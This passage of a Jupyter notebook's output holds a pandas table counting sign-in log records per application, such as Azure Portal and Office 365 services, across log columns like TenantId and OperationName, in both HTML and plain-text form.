       "    <tr>\n",
       "      <th>Microsoft Office 365 Portal</th>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>...</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>0</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Power BI</th>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>...</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>0</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Microsoft Stream Portal</th>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>...</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>0</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>My Apps</th>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>...</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>0</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>My Profile</th>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>...</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>0</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "      <td>6</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>O365 Suite UX</th>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>...</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>0</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "      <td>1</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Office 365 SharePoint Online</th>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>...</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>0</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "      <td>11</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Office365 Shell WCSS-Client</th>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>...</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>0</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "      <td>57</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>WindowsDefenderATP Portal</th>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>...</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>0</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "      <td>2</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "<p>30 rows × 68 columns</p>\n",
       "</div>"
      ],
      "text/plain": [
       "                                                       TenantId  SourceSystem  \\\n",
       "AppDisplayName                                                                  \n",
       "                                                              1             1   \n",
       "ACOM Azure Website                                            3             3   \n",
       "App Service                                                   3             3   \n",
       "Azure AD Identity Governance - Entitlement Management         1             1   \n",
       "Azure Active Directory PowerShell                             8             8   \n",
       "Azure Advanced Threat Protection                             19            19   \n",
       "Azure DevOps                                                  7             7   \n",
       "Azure Machine Learning Workbench Web App                      2             2   \n",
       "Azure Portal                                                884           884   \n",
       "Azure Synapse Studio                                          2             2   \n",
       "Intranet                                                      1             1   \n",
       "Microsoft 365 Security and Compliance Center                 32            32   \n",
       "Microsoft App Access Panel                                    5             5   \n",
       "Microsoft Azure Active Directory Connect                    985           985   \n",
       "Microsoft Azure CLI                                           4             4   \n",
       "Microsoft Azure PowerShell                                    1             1   \n",
       "Microsoft Azure Purview Studio                               75            75   \n",
       "Microsoft Cloud App Security                                  5             5   \n",
       "Microsoft Docs                                               10            10   \n",
       "Microsoft Edge                                                2             2   \n",
       "Microsoft Invitation Acceptance Portal                        2             2   \n",
       "Microsoft Office 365 Portal                                   2             2   \n",
       "Microsoft Power BI                                            2             2   \n",
       "Microsoft Stream Portal                                       2             2   \n",
       "My Apps                                                       1             1   \n",
       "My Profile                                                    6             6   \n",
       "O365 Suite UX                                                 1             1   \n",
       "Office 365 SharePoint Online                                 11            11   \n",
       "Office365 Shell WCSS-Client                                  57            57   \n",
       "WindowsDefenderATP Portal                                     2             2   \n",
       "\n",
       "                                                       TimeGenerated  \\\n",
       "AppDisplayName                                                         \n",
       "                                                                   1   \n",
       "ACOM Azure Website                                                 3   \n",
       "App Service                                                        3   \n",
       "Azure AD Identity Governance - Entitlement Management              1   \n",
       "Azure Active Directory PowerShell                                  8   \n",
       "Azure Advanced Threat Protection                                  19   \n",
       "Azure DevOps                                                       7   \n",
       "Azure Machine Learning Workbench Web App                           2   \n",
       "Azure Portal                                                     884   \n",
       "Azure Synapse Studio                                               2   \n",
       "Intranet                                                           1   \n",
       "Microsoft 365 Security and Compliance Center                      32   \n",
       "Microsoft App Access Panel                                         5   \n",
       "Microsoft Azure Active Directory Connect                         985   \n",
       "Microsoft Azure CLI                                                4   \n",
       "Microsoft Azure PowerShell                                         1   \n",
       "Microsoft Azure Purview Studio                                    75   \n",
       "Microsoft Cloud App Security                                       5   \n",
       "Microsoft Docs                                                    10   \n",
       "Microsoft Edge                                                     2   \n",
       "Microsoft Invitation Acceptance Portal                             2   \n",
       "Microsoft Office 365 Portal                                        2   \n",
       "Microsoft Power BI                                                 2   \n",
       "Microsoft Stream Portal                                            2   \n",
       "My Apps                                                            1   \n",
       "My Profile                                                         6   \n",
       "O365 Suite UX                                                      1   \n",
       "Office 365 SharePoint Online                                      11   \n",
       "Office365 Shell WCSS-Client                                       57   \n",
       "WindowsDefenderATP Portal                                          2   \n",
       "\n",
       "                                                       ResourceId  \\\n",
       "AppDisplayName                                                      \n",
       "                                                                1   \n",
       "ACOM Azure Website                                              3   \n",
       "App Service                                                     3   \n",
       "Azure AD Identity Governance - Entitlement Management           1   \n",
       "Azure Active Directory PowerShell                               8   \n",
       "Azure Advanced Threat Protection                               19   \n",
       "Azure DevOps                                                    7   \n",
       "Azure Machine Learning Workbench Web App                        2   \n",
       "Azure Portal                                                  884   \n",
       "Azure Synapse Studio                                            2   \n",
       "Intranet                                                        1   \n",
       "Microsoft 365 Security and Compliance Center                   32   \n",
       "Microsoft App Access Panel                                      5   \n",
       "Microsoft Azure Active Directory Connect                      985   \n",
       "Microsoft Azure CLI                                             4   \n",
       "Microsoft Azure PowerShell                                      1   \n",
       "Microsoft Azure Purview Studio                                 75   \n",
       "Microsoft Cloud App Security                                    5   \n",
       "Microsoft Docs                                                 10   \n",
       "Microsoft Edge                                                  2   \n",
       "Microsoft Invitation Acceptance Portal                          2   \n",
       "Microsoft Office 365 Portal                                     2   \n",
       "Microsoft Power BI                                              2   \n",
       "Microsoft Stream Portal                                         2   \n",
       "My Apps                                                         1   \n",
       "My Profile                                                      6   \n",
       "O365 Suite UX                                                   1   \n",
       "Office 365 SharePoint Online                                   11   \n",
       "Office365 Shell WCSS-Client                                    57   \n",
       "WindowsDefenderATP Portal                                       2   \n",
       "\n",
       "                                                       OperationName  \\\n",
       "AppDisplayName                                                         \n",
       "                                                                   1   \n",
       "ACOM Azure Website                                                 3   \n",
       "App Service                                                        3   \n",
       "Azure AD Identity Governance - Entitlement Management              1   \n",
       "Azure Active Directory PowerShell                                  8   \n",
       "Azure Advanced Threat Protection                                  19   \n",
       "Azure DevOps                                                       7   \n",
       "Azure Machine Learning Workbench Web App                           2   \n",
       "Azure Portal                                                     884   \n",
       "Azure Synapse Studio                                               2   \n",
       "Intranet                                                           1   \n",
       "Microsoft 365 Security and Compliance Center                      32   \n",
       "Microsoft App Access Panel                                         5   \n",
       "Microsoft Azure Active Directory Connect                         985   \n",
       "Microsoft Azure CLI                                                4   \n",
       "Microsoft Azure PowerShell                                         1   \n",
       "Microsoft Azure Purview Studio                                    75   \n",
       "Microsoft Cloud App Security                                       5   \n",
       "Microsoft Docs                                                    10   \n",
       "Microsoft Edge                                                     2   \n",
       "Microsoft Invitation Acceptance Portal                             2   \n",
       "Microsoft Office 365 Portal                                        2   \n",
       "Microsoft Power BI                                                 2   \n",
       "Microsoft Stream Portal                                            2   \n",
       "My Apps                                                            1   \n",
       "My Profile                                                         6   \n",
       "O365 Suite UX                                                      1   \n",
       "Office 365 SharePoint Online                                      11   \n",
       "Office365 Shell WCSS-Client                                       57   \n",
       "WindowsDefenderATP Portal                                          2   \n",
       "\n",
       "                                                       OperationVersion  \\\n",
       "AppDisplayName                                                            \n",
       "                                                                      1   \n",
       "ACOM Azure Website                                                    3   \n",
       "App Service                                                           3   \n",
       "Azure AD Identity Governance - Entitlement Management                 1   \n",
       "Azure Active Directory PowerShell                                     8   \n",
       "Azure Advanced Threat Protection                                     19   \n",
       "Azure DevOps                                                          7   \n",
       "Azure Machine Learning Workbench Web App                              2   \n",
       "Azure Portal                                                        884   \n",
       "Azure Synapse Studio                                                  2   \n",
       "Intranet                                                              1   \n",
       "Microsoft 365 Security and Compliance Center                         32   \n",
       "Microsoft App Access Panel                                            5   \n",
       "Microsoft Azure Active Directory Connect                            985   \n",
       "Microsoft Azure CLI                                                   4   \n",
       "Microsoft Azure PowerShell                                            1   \n",
       "Microsoft Azure Purview Studio                                       75   \n",
       "Microsoft Cloud App Security                                          5   \n",
       "Microsoft Docs                                                       10   \n",
       "Microsoft Edge                                                        2   \n",
       "Microsoft Invitation Acceptance Portal                                2   \n",
       "Microsoft Office 365 Portal                                           2   \n",
       "Microsoft Power BI                                                    2   \n",
       "Microsoft Stream Portal                                               2   \n",
       "My Apps                                                               1   \n",
       "My Profile                                                            6   \n",
       "O365 Suite UX                                                         1   \n",
       "Office 365 SharePoint Online                                         11   \n",
       "Office365 Shell WCSS-Client                                          57   \n",
       "WindowsDefenderATP Portal                                             2   \n",
       "\n",
       "                                                       Category  ResultType  \\\n",
       "AppDisplayName                                                                \n",
       "                                                              1           1   \n",
       "ACOM Azure Website                                            3           3   \n",
       "App Service                                                   3           3   \n",
       "Azure AD Identity Governance - Entitlement Management         1           1   \n",
       "Azure Active Directory PowerShell                             8           8   \n",
       "Azure Advanced Threat Protection                             19          19   \n",
       "Azure DevOps                                                  7           7   \n",
       "Azure Machine Learning Workbench Web App                      2           2   \n",
       "Azure Portal                                                884         884   \n",
       "Azure Synapse Studio                                          2           2   \n",
       "Intranet                                                      1           1   \n",
       "Microsoft 365 Security and Compliance Center                 32          32   \n",
       "Microsoft App Access Panel                                    5           5   \n",
       "Microsoft Azure Active Directory Connect                    985         985   \n",
       "Microsoft Azure CLI                                           4           4   \n",
       "Microsoft Azure PowerShell                                    1           1   \n",
       "Microsoft Azure Purview Studio                               75          75   \n",
       "Microsoft Cloud App Security                                  5           5   \n",
       "Microsoft Docs                                               10          10   \n",
       "Microsoft Edge                                                2           2   \n",
       "Microsoft Invitation Acceptance Portal                        2           2   \n",
       "Microsoft Office 365 Portal                                   2           2   \n",
       "Microsoft Power BI                                            2           2   \n",
       "Microsoft Stream Portal                                       2           2   \n",
       "My Apps                                                       1           1   \n",
       "My Profile                                                    6           6   \n",
       "O365 Suite UX                                                 1           1   \n",
       "Office 365 SharePoint Online                                 11          11   \n",
       "Office365 Shell WCSS-Client                                  57          57   \n",
       "WindowsDefenderATP Portal                                     2           2   \n",
       "\n",
       "                                                       ResultSignature  \\\n",
       "AppDisplayName                                                           \n",
       "                                                                     1   \n",
       "ACOM Azure Website                                                   3   \n",
       "App Service                                                          3   \n",
       "Azure AD Identity Governance - Entitlement Management                1   \n",
       "Azure Active Directory PowerShell                                    8   \n",
       "Azure Advanced Threat Protection                                    19   \n",
       "Azure DevOps                                                         7   \n",
       "Azure Machine Learning Workbench Web App                             2   \n",
       "Azure Portal                                                       884   \n",
       "Azure Synapse Studio                                                 2   \n",
       "Intranet                                                             1   \n",
       "Microsoft 365 Security and Compliance Center                        32   \n",
       "Microsoft App Access Panel                                           5   \n",
       "Microsoft Azure Active Directory Connect                           985   \n",
       "Microsoft Azure CLI                                                  4   \n",
       "Microsoft Azure PowerShell                                           1   \n",
       "Microsoft Azure Purview Studio                                      75   \n",
       "Microsoft Cloud App Security                                         5   \n",
       "Microsoft Docs                                                      10   \n",
       "Microsoft Edge                                                       2   \n",
       "Microsoft Invitation Acceptance Portal                               2   \n",
       "Microsoft Office 365 Portal                                          2   \n",
       "Microsoft Power BI                                                   2   \n",
       "Microsoft Stream Portal                                              2   \n",
       "My Apps                                                              1   \n",
       "My Profile                                                           6   \n",
       "O365 Suite UX                                                        1   \n",
       "Office 365 SharePoint Online                                        11   \n",
       "Office365 Shell WCSS-Client                                         57   \n",
       "WindowsDefenderATP Portal                                            2   \n",
       "\n",
       "                                                       ResultDescription  \\\n",
       "AppDisplayName                                                             \n",
       "                                                                       1   \n",
       "ACOM Azure Website                                                     3   \n",
       "App Service                                                            3   \n",
       "Azure AD Identity Governance - Entitlement Management                  1   \n",
       "Azure Active Directory PowerShell                                      8   \n",
       "Azure Advanced Threat Protection                                      19   \n",
       "Azure DevOps                                                           7   \n",
       "Azure Machine Learning Workbench Web App                               2   \n",
       "Azure Portal                                                         884   \n",
       "Azure Synapse Studio                                                   2   \n",
       "Intranet                                                               1   \n",
       "Microsoft 365 Security and Compliance Center                          32   \n",
       "Microsoft App Access Panel                                             5   \n",
       "Microsoft Azure Active Directory Connect                             985   \n",
       "Microsoft Azure CLI                                                    4   \n",
       "Microsoft Azure PowerShell                                             1   \n",
       "Microsoft Azure Purview Studio                                        75   \n",
       "Microsoft Cloud App Security                                           5   \n",
       "Microsoft Docs                                                        10   \n",
       "Microsoft Edge                                                         2   \n",
       "Microsoft Invitation Acceptance Portal                                 2   \n",
       "Microsoft Office 365 Portal                                            2   \n",
       "Microsoft Power BI                                                     2   \n",
       "Microsoft Stream Portal                                                2   \n",
       "My Apps                                                                1   \n",
       "My Profile                                                             6   \n",
       "O365 Suite UX                                                          1   \n",
       "Office 365 SharePoint Online                                          11   \n",
       "Office365 Shell WCSS-Client                                           57   \n",
       "WindowsDefenderATP Portal                                              2   \n",
       "\n",
       "                                                       DurationMs  \\\n",
       "AppDisplayName                                                      \n",
       "                                                                1   \n",
       "ACOM Azure Website                                              3   \n",
       "App Service                                                     3   \n",
       "Azure AD Identity Governance - Entitlement Management           1   \n",
       "Azure Active Directory PowerShell                               8   \n",
       "Azure Advanced Threat Protection                               19   \n",
       "Azure DevOps                                                    7   \n",
       "Azure Machine Learning Workbench Web App                        2   \n",
       "Azure Portal                                                  884   \n",
       "Azure Synapse Studio                                            2   \n",
       "Intranet                                                        1   \n",
       "Microsoft 365 Security and Compliance Center                   32   \n",
       "Microsoft App Access Panel                                      5   \n",
       "Microsoft Azure Active Directory Connect                      985   \n",
       "Microsoft Azure CLI                                             4   \n",
       "Microsoft Azure PowerShell                                      1   \n",
       "Microsoft Azure Purview Studio                                 75   \n",
       "Microsoft Cloud App Security                                    5   \n",
       "Microsoft Docs                                                 10   \n",
       "Microsoft Edge                                                  2   \n",
       "Microsoft Invitation Acceptance Portal                          2   \n",
       "Microsoft Office 365 Portal                                     2   \n",
       "Microsoft Power BI                                              2   \n",
       "Microsoft Stream Portal                                         2   \n",
       "My Apps                                                         1   \n",
       "My Profile                                                      6   \n",
       "O365 Suite UX                                                   1   \n",
       "Office 365 SharePoint Online                                   11   \n",
       "Office365 Shell WCSS-Client                                    57   \n",
       "WindowsDefenderATP Portal                                       2   \n",
       "\n",
       "                                                       CorrelationId  \\\n",
       "AppDisplayName                                                         \n",
       "                                                                   1   \n",
       "ACOM Azure Website                                                 3   \n",
       "App Service                                                        3   \n",
       "Azure AD Identity Governance - Entitlement Management              1   \n",
       "Azure Active Directory PowerShell                                  8   \n",
       "Azure Advanced Threat Protection                                  19   \n",
       "Azure DevOps                                                       7   \n",
       "Azure Machine Learning Workbench Web App                           2   \n",
       "Azure Portal                                                     884   \n",
       "Azure Synapse Studio                                               2   \n",
       "Intranet                                                           1   \n",
       "Microsoft 365 Security and Compliance Center                      32   \n",
       "Microsoft App Access Panel                                         5   \n",
       "Microsoft Azure Active Directory Connect                         985   \n",
       "Microsoft Azure CLI                                                4   \n",
       "Microsoft Azure PowerShell                                         1   \n",
       "Microsoft Azure Purview Studio                                    75   \n",
       "Microsoft Cloud App Security                                       5   \n",
       "Microsoft Docs                                                    10   \n",
       "Microsoft Edge                                                     2   \n",
       "Microsoft Invitation Acceptance Portal                             2   \n",
       "Microsoft Office 365 Portal                                        2   \n",
       "Microsoft Power BI                                                 2   \n",
       "Microsoft Stream Portal                                            2   \n",
       "My Apps                                                            1   \n",
       "My Profile                                                         6   \n",
       "O365 Suite UX                                                      1   \n",
       "Office 365 SharePoint Online                                      11   \n",
       "Office365 Shell WCSS-Client                                       57   \n",
       "WindowsDefenderATP Portal                                          2   \n",
       "\n",
       "                                                       Resource  \\\n",
       "AppDisplayName                                                    \n",
       "                                                              1   \n",
       "ACOM Azure Website                                            3   \n",
       "App Service                                                   3   \n",
       "Azure AD Identity Governance - Entitlement Management         1   \n",
       "Azure Active Directory PowerShell                             8   \n",
       "Azure Advanced Threat Protection                             19   \n",
       "Azure DevOps                                                  7   \n",
       "Azure Machine Learning Workbench Web App                      2   \n",
       "Azure Portal                                                884   \n",
       "Azure Synapse Studio                                          2   \n",
       "Intranet                                                      1   \n",
       "Microsoft 365 Security and Compliance Center                 32   \n",
       "Microsoft App Access Panel                                    5   \n",
       "Microsoft Azure Active Directory Connect                    985   \n",
       "Microsoft Azure CLI                                           4   \n",
       "Microsoft Azure PowerShell                                    1   \n",
       "Microsoft Azure Purview Studio                               75   \n",
       "Microsoft Cloud App Security                                  5   \n",
       "Microsoft Docs                                               10   \n",
       "Microsoft Edge                                                2   \n",
       "Microsoft Invitation Acceptance Portal                        2   \n",
       "Microsoft Office 365 Portal                                   2   \n",
       "Microsoft Power BI                                            2   \n",
       "Microsoft Stream Portal                                       2   \n",
       "My Apps                                                       1   \n",
       "My Profile                                                    6   \n",
       "O365 Suite UX                                                 1   \n",
       "Office 365 SharePoint Online                                 11   \n",
       "Office365 Shell WCSS-Client                                  57   \n",
       "WindowsDefenderATP Portal                                     2   \n",
       "\n",
       "                                                       ResourceGroup  \\\n",
       "AppDisplayName                                                         \n",
       "                                                                   1   \n",
       "ACOM Azure Website                                                 3   \n",
       "App Service                                                        3   \n",
       "Azure AD Identity Governance - Entitlement Management              1   \n",
       "Azure Active Directory PowerShell                                  8   \n",
       "Azure Advanced Threat Protection                                  19   \n",
       "Azure DevOps                                                       7   \n",
       "Azure Machine Learning Workbench Web App                           2   \n",
       "Azure Portal                                                     884   \n",
       "Azure Synapse Studio                                               2   \n",
       "Intranet                                                           1   \n",
       "Microsoft 365 Security and Compliance Center                      32   \n",
       "Microsoft App Access Panel                                         5   \n",
       "Microsoft Azure Active Directory Connect                         985   \n",
       "Microsoft Azure CLI                                                4   \n",
